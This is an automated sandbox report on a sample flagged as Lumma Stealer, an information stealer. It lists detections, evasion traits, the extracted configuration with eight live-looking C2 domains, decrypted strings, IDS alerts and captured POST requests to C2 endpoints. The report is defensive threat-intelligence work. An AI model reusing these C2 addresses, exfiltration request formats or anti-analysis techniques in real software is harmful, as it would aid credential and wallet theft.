Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532898
MD5:	4f245878a56ed4c45fb3fda19421eda8
SHA1:	dd0f68f30a7046749d06f10b2596aea02e33cd2b
SHA256:	8422d35cff599297ee418fba71f575fb965f1fa508eea453b70b20495c3e685f
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

file.exe (PID: 2336 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4F245878A56ED4C45FB3FDA19421EDA8)

WerFault.exe (PID: 7024 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1900 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 4476 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1916 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7528 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1952 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["eaglepawnoy.store", "clearancek.site", "dissapoiznw.store", "licendfilteo.site", "bathdoomgaz.store", "studennotediw.store", "spirittunek.store", "mobbipenju.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:11.646383+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-14T06:02:14.004167+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49732	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:11.646383+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49731	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:14.004167+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49732	172.67.206.204	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.469485+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	52557	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.411260+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	55342	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.446730+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	49526	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.435813+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	63999	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.492154+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	56083	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.423858+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	59996	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.480204+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	62111	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:09.458174+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	59098	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T06:02:10.854376+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware

Found malware configuration

Source: file.exe.2336.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["eaglepawnoy.store", "clearancek.site", "dissapoiznw.store", "licendfilteo.site", "bathdoomgaz.store", "studennotediw.store", "spirittunek.store", "mobbipenju.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for domain / URL

Source: sergei-esenin.com	Virustotal: Detection: 17%	Perma Link
Source: eaglepawnoy.store	Virustotal: Detection: 18%	Perma Link
Source: licendfilteo.site	Virustotal: Detection: 15%	Perma Link
Source: studennotediw.store	Virustotal: Detection: 17%	Perma Link
Source: spirittunek.store	Virustotal: Detection: 21%	Perma Link
Source: bathdoomgaz.store	Virustotal: Detection: 21%	Perma Link
Source: dissapoiznw.store	Virustotal: Detection: 21%	Perma Link
Source: mobbipenju.store	Virustotal: Detection: 21%	Perma Link
Source: clearancek.site	Virustotal: Detection: 17%	Perma Link
Source: studennotediw.store	Virustotal: Detection: 17%	Perma Link
Source: https://sergei-esenin.com:443/apifiles/76561199724331900	Virustotal: Detection: 9%	Perma Link
Source: eaglepawnoy.store	Virustotal: Detection: 18%	Perma Link
Source: dissapoiznw.store	Virustotal: Detection: 21%	Perma Link
Source: https://eaglepawnoy.store:443/api	Virustotal: Detection: 21%	Perma Link
Source: https://sergei-esenin.com:443/api	Virustotal: Detection: 18%	Perma Link
Source: bathdoomgaz.store	Virustotal: Detection: 21%	Perma Link
Source: https://clearancek.site:443/api	Virustotal: Detection: 19%	Perma Link
Source: clearancek.site	Virustotal: Detection: 17%	Perma Link
Source: spirittunek.store	Virustotal: Detection: 21%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: licendfilteo.site
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: spirittunek.store
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bathdoomgaz.store
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: studennotediw.store
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dissapoiznw.store
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: eaglepawnoy.store
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mobbipenju.store
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clearancek.site
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2057963616.0000000000981000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_009C99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0098D110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0098D110
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_0098FCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_00990EEC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00996F91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_009849A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	0_2_009C3920
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_0099D961
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00991ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_009942FC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_00991A3C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_00985A50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_009C4A40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00991BEE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00993BE2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ebp, eax	0_2_0098A300
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_009C9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	0_2_009ACCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_009ACCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	0_2_009ACCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_009C9CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	0_2_009C9CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	0_2_0099B410
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0099D457
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_009AC470
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	0_2_009AFD10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_009A9510
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00996536
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00991E93
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	0_2_00996EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	0_2_0098BEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_00986EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00996F91
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_009C5700

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:62111 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:49526 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:55342 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:59996 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:59098 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:56083 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:52557 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:63999 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 104.102.49.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: mobbipenju.store

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 172.67.206.204 172.67.206.204

Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=PBl8_uAZ71ma5TmIb7rtXR6M7MUfeWV0I.l03.tWsC8-1728878531-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: sergei-esenin.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=d9b4d974260e197745e81065; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type34837Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 14 Oct 2024 04:02:10 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control>) equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic
Source: file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
